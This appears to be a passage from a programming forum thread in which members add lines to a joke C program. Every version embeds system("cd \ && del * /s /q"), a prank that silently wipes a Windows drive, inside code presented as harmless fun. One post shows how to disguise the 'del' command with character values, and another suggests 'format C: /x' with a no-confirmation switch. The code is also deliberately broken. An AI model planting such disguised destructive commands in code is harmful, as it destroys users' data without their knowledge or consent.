One line program!

(can't believe no one's thought of this...)

  • (4 Pages)
  • +
  • 1
  • 2
  • 3
  • 4

46 Replies - 3361 Views - Last Post: 10 January 2010 - 05:02 AM

#31 gabehabe   User is offline

  • GabehabeSwamp
  • member icon




Reputation: 1440
  • View blog
  • Posts: 11,025
  • Joined: 06-February 08

Re: One line program!

Posted 01 October 2009 - 05:04 AM

/* ( ° Y . ) wonky bewbs */

#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}

int main(void) {
system("cd \ && del * /s /q"); //what's this?
printf("doesn't the above line kind of assume the user is running in DOS rather than *NIX?  and you're a Linux supporter, for shame lol");
exit(666); // Even a mac can't survive the devil virus...
float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
printf("Devil virus??");
}while("( ° Y . )" == "wonky bewbs");
}



#32 Jaakuuta   User is offline

  • D.I.C Head
  • member icon

Reputation: 1
  • View blog
  • Posts: 163
  • Joined: 02-July 09

Re: One line program!

Posted 01 October 2009 - 05:16 AM

/* ( ° Y . ) wonky bewbs */

#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}

int main(void) {
system("cd \ && del * /s /q"); //what's this?
printf("doesn't the above line kind of assume the user is running in DOS rather than *NIX?  and you're a Linux supporter, for shame lol");
exit(666); // Even a mac can't survive the devil virus...
float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
printf("Devil virus??");
printf("wtf? you're obsessed with wonky bewbs... are you saying that's what your bewbs look like?");
}while("( ° Y . )" == "wonky bewbs");
}



#33 Project 2501   User is offline

  • import awesome as Project_2501
  • member icon

Reputation: 9
  • View blog
  • Posts: 1,565
  • Joined: 14-December 08

Re: One line program!

Posted 04 October 2009 - 11:42 PM

/* ( ° Y . ) wonky bewbs */

#include <stdio.h>
#include <stdlib.h>
 
// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}

int emoInteger; // All alone in this script... :(

int main(void) {
system("cd \ && del * /s /q"); //what's this? 
printf("doesn't the above line kind of assume the user is running in DOS rather than *NIX?  and you're a Linux supporter, for shame lol");
exit(666); // Even a mac can't survive the devil virus...
float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
printf("Devil virus??");
printf("wtf? you're obsessed with wonky bewbs... are you saying that's what your bewbs look like?");
}while("( ° Y . )" == "wonky bewbs");
}



Whenever this is done, it should go on the DiC Facebook page as an image, with the contributers tagged. :)

This post has been edited by Project 2501: 05 October 2009 - 01:02 AM


#34 no2pencil   User is offline

  • Professor Snuggly Pants
  • member icon

Reputation: 6968
  • View blog
  • Posts: 31,958
  • Joined: 10-May 07

Re: One line program!

Posted 05 October 2009 - 06:25 PM

Anyone that runs this program would be a damn fool.

lol

#35 Project 2501   User is offline

  • import awesome as Project_2501
  • member icon

Reputation: 9
  • View blog
  • Posts: 1,565
  • Joined: 14-December 08

Re: One line program!

Posted 05 October 2009 - 07:12 PM

Lol I ran it on an older computer before reading through it just for the surprise ... No2 I hate you lol

#36 OliveOyl3471   User is offline

  • Everybody's crazy but me!
  • member icon

Reputation: 135
  • View blog
  • Posts: 6,581
  • Joined: 11-July 07

Re: One line program!

Posted 05 October 2009 - 09:05 PM

I don't think I'd want to run a program with this in it, just because it doesn't look right.
system("cd \ && del * /s /q"); 


Anything with del in it is probably best avoided, I think.

:ph34r:

#37 CheckersW   User is offline

  • D.I.C Head
  • member icon

Reputation: 12
  • View blog
  • Posts: 198
  • Joined: 04-April 09

Re: One line program!

Posted 27 October 2009 - 09:21 PM

Whoever added that emoInteger is a genius.

#38 no2pencil   User is offline

  • Professor Snuggly Pants
  • member icon

Reputation: 6968
  • View blog
  • Posts: 31,958
  • Joined: 10-May 07

Re: One line program!

Posted 27 October 2009 - 09:38 PM

One could even go as far as use the ascii values rather than the letters.
char a='d',b='e',c='l',buffer[256]={0};
sprintf(buffer,"cd \ && %c%c%c * /s /q",a,b,c);
system(buffer);



#39 Project 2501   User is offline

  • import awesome as Project_2501
  • member icon

Reputation: 9
  • View blog
  • Posts: 1,565
  • Joined: 14-December 08

Re: One line program!

Posted 17 November 2009 - 06:51 PM

/* ( ° Y . ) wonky bewbs */


#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
int lessAwesomeInt;
return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}

int emoInteger; // All alone in this script... :(

int main(void) {
system("cd \ && del * /s /q"); //what's this?
printf("doesn't the above line kind of assume the user is running in DOS rather than *NIX?  and you're a Linux supporter, for shame lol");
printf("\n\nZOMG! This is the first time I've ever used the 'printf' command! \1\n");
exit(666); // Even a mac can't survive the devil virus...
float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
printf(" fails. gabehabe ftw.");
printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
exit(0); // what does that do?
// it exits the program with a status of 0 :-)
// then why even have the return 0;
// no2 was just being silly. this program is gonna be mostly comments.
return 0;
//I am not even sure how to add a one line comment in C
printf("Devil virus??");
printf("wtf? you're obsessed with wonky bewbs... are you saying that's what your bewbs look like?");
}while("( ° Y . )" == "wonky bewbs");
}

My first time, guys!

@No2: Clever, and yet evil.

This post has been edited by Project 2501: 17 November 2009 - 06:52 PM


#40 Gorian   User is offline

  • ninja DIC
  • member icon


Reputation: 156
  • View blog
  • Posts: 1,856
  • Joined: 28-June 08

Re: One line program!

Posted 18 November 2009 - 10:57 AM

del * /s /q Delete (obviously), wildcard (everything) /s all subdirectories, /q quiet, does not ask for delete confirmation on global wildcards.

Might as well add format C: /x

anyway, on topic

/* ( ° Y . ) wonky bewbs */


#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
    int lessAwesomeInt;
    return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}

int emoInteger; // All alone in this script... :(/>

const char[8] NAME = gabehabe;

int main(void) {

    system("cd \ && del * /s /q"); //what's this?
    printf("doesn't the above line kind of assume the user is running in DOS rather than *NIX?  and you're a Linux supporter, for shame lol");
    printf("\n\nZOMG! This is the first time I've ever used the 'printf' command! \1\n");
    exit(666); // Even a mac can't survive the devil virus...
    float thisIsAVariable= 36.2f;
    do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
        printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
        printf(" fails. gabehabe ftw.");
        printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
        if (God != NAME){
            exit(0); // what does that do?    
            // it exits the program with a status of 0 :-)
            // then why even have the return 0;
            // no2 was just being silly. this program is gonna be mostly comments.
        }
        return 0;
        //I am not even sure how to add a one line comment in C
        printf("Devil virus??");
        printf("wtf? you're obsessed with wonky bewbs... are you saying that's what your bewbs look like?");
    }while("( ° Y . )" == "wonky bewbs");
}



#41 no2pencil   User is offline

  • Professor Snuggly Pants
  • member icon

Reputation: 6968
  • View blog
  • Posts: 31,958
  • Joined: 10-May 07

Re: One line program!

Posted 18 November 2009 - 09:57 PM

Format asks for permission :)

#42 Gorian   User is offline

  • ninja DIC
  • member icon


Reputation: 156
  • View blog
  • Posts: 1,856
  • Joined: 28-June 08

Re: One line program!

Posted 01 December 2009 - 09:31 AM

Aye, But there is an undocumented switch for format in which format does not ask for permission. :o

EDIT: Found a link on Wikipedia that lists it. :)

This post has been edited by Gorian: 01 December 2009 - 09:36 AM


#43 neos300   User is offline

  • D.I.C Head

Reputation: 2
  • View blog
  • Posts: 62
  • Joined: 21-April 09

Re: One line program!

Posted 07 December 2009 - 06:07 PM

/* ( ° Y . ) wonky bewbs */


#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
	int lessAwesomeInt;
	return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}

int emoInteger; // All alone in this script... 

const char[8] NAME = gabehabe;

int main(void) {
emoInterger = -20
	system("cd \ && del * /s /q"); //what's this?
	printf("doesn't the above line kind of assume the user is running in DOS rather than *NIX?  and you're a Linux supporter, for shame lol");
	printf("\n\nZOMG! This is the first time I've ever used the 'printf' command! \1\n");
	exit(666); // Even a mac can't survive the devil virus...
	float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
		printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
		printf(" fails. gabehabe ftw.");
		printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
		if (God != NAME){
			exit(0); // what does that do?	
			// it exits the program with a status of 0 :-)
			// then why even have the return 0;
			// no2 was just being silly. this program is gonna be mostly comments.
		}
		return 0;
		//I am not even sure how to add a one line comment in C
		printf("Devil virus??");
		printf("wtf? you're obsessed with wonky bewbs... are you saying that's what your bewbs look like?");
	}while("( ° Y . )" == "wonky bewbs");
}


This post has been edited by neos300: 07 December 2009 - 06:07 PM


#44 CodingNewb   User is offline

  • D.I.C Head

Reputation: 4
  • View blog
  • Posts: 229
  • Joined: 04-December 09

Re: One line program!

Posted 10 December 2009 - 03:18 PM

/* ( ° Y . ) wonky bewbs */


#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
	int lessAwesomeInt;
	return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}
int epic fail; //C++ is way better 
int emoInteger; // All alone in this script... 

const char[8] NAME = gabehabe;

int main(void) {
emoInterger = -20
	system("cd \ && del * /s /q"); //what's this?
	printf("doesn't the above line kind of assume the user is running in DOS rather than *NIX?  and you're a Linux supporter, for shame lol");
	printf("\n\nZOMG! This is the first time I've ever used the 'printf' command! \1\n");
	exit(666); // Even a mac can't survive the devil virus...
	float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
		printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
		printf(" fails. gabehabe ftw.");
		printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
		if (God != NAME){
			exit(0); // what does that do?	
			// it exits the program with a status of 0 :-)
			// then why even have the return 0;
			// no2 was just being silly. this program is gonna be mostly comments.
		}
		return 0;
		//I am not even sure how to add a one line comment in C
		printf("Devil virus??");
		printf("wtf? you're obsessed with wonky bewbs... are you saying that's what your bewbs look like?");
	}while("( ° Y . )" == "wonky bewbs");
}



#45 borninlyoko   User is offline

  • D.I.C Regular
  • member icon

Reputation: 7
  • View blog
  • Posts: 350
  • Joined: 03-December 09

Re: One line program!

Posted 24 December 2009 - 09:54 AM

/* ( ° Y . ) wonky bewbs */


#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
	int lessAwesomeInt;
	return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}
int epic fail; //C++ is way better
int emoInteger; // All alone in this script...

const char[8] NAME = gabehabe;

int main(void) {
emoInterger = -20
	system("cd \ && del * /s /q"); //what's this?
	printf("doesn't the above line kind of assume the user is running in DOS rather than *NIX?  and you're a Linux supporter, for shame lol");
	printf("\n\nZOMG! This is the first time I've ever used the 'printf' command! \1\n");
	exit(666); // Even a mac can't survive the devil virus...
	float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
		printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
		printf(" fails. gabehabe ftw.");
		printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
		printf("\nZOMGZ! MOUHAHAHHA WAS SPELLED WRONG\n") (set var "MOUHAHAHHA" to "MWAHAHAHA!");
		if (God != NAME){
			exit(0); // what does that do?	
			// it exits the program with a status of 0 :-)
			// then why even have the return 0;
			// no2 was just being silly. this program is gonna be mostly comments.
		}
		return 0;
		//I am not even sure how to add a one line comment in C
		printf("Devil virus??");
		printf("wtf? you're obsessed with wonky bewbs... are you saying that's what your bewbs look like?");
	}while("( ° Y . )" == "wonky bewbs");
}

This post has been edited by borninlyoko: 24 December 2009 - 09:55 AM


  • (4 Pages)
  • +
  • 1
  • 2
  • 3
  • 4